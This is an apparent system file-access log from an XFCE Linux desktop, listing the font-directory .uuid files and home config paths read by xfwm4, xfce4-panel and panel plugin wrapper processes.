Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /home/saturnino/.config
Source: /usr/bin/xfwm4 (PID: 6539)	Directory: /home/saturnino/.cache
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /home/saturnino/.Xdefaults-galassia
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/local/share/fonts/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /home/saturnino/.local/share/fonts/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /home/saturnino/.fonts/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/X11/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/cMap/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/cmap/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/opentype/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/type1/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/X11/Type1/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/X11/encodings/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/X11/misc/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/X11/util/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/opentype/malayalam/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/opentype/mathjax/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/opentype/noto/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/Gargi/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/Nakula/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/Navilu/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/Sarai/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/dejavu/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/droid/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/freefont/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/kacst/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/lao/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/lato/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/liberation/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/liberation2/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/malayalam/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/noto/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/openoffice/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/padauk/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/pagul/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/samyak/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/sinhala/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/tlwg/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/type1/urw-base35/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /usr/share/fonts/X11/encodings/large/.uuid
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /home/saturnino/.cache
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /home/saturnino/.local
Source: /usr/bin/xfce4-panel (PID: 6545)	Directory: /home/saturnino/.config
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6798)	Directory: /home/saturnino/.Xdefaults-galassia
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6800)	Directory: /home/saturnino/.Xdefaults-galassia
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /home/saturnino/.Xdefaults-galassia
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/local/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /home/saturnino/.local/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /home/saturnino/.fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/X11/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/cMap/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/cmap/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/opentype/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/type1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/X11/Type1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/X11/encodings/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/X11/misc/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/X11/util/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/opentype/malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/opentype/mathjax/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/opentype/noto/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/Gargi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/Nakula/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/Navilu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/Sarai/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/dejavu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/droid/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/freefont/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/kacst/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/lao/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/lato/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/liberation/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/liberation2/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/noto/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/openoffice/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/padauk/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/pagul/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/samyak/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/sinhala/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/tlwg/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/type1/urw-base35/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Directory: /usr/share/fonts/X11/encodings/large/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /home/saturnino/.Xdefaults-galassia
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/local/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /home/saturnino/.local/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /home/saturnino/.fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/X11/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/cMap/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/cmap/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/opentype/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/type1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/X11/Type1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/X11/encodings/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/X11/misc/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/X11/util/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/opentype/malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/opentype/mathjax/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/opentype/noto/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/Gargi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/Nakula/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/Navilu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/Sarai/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/dejavu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/droid/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/freefont/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/kacst/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lao/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lato/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/liberation/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/liberation2/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/noto/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/openoffice/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/padauk/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/pagul/.uuid
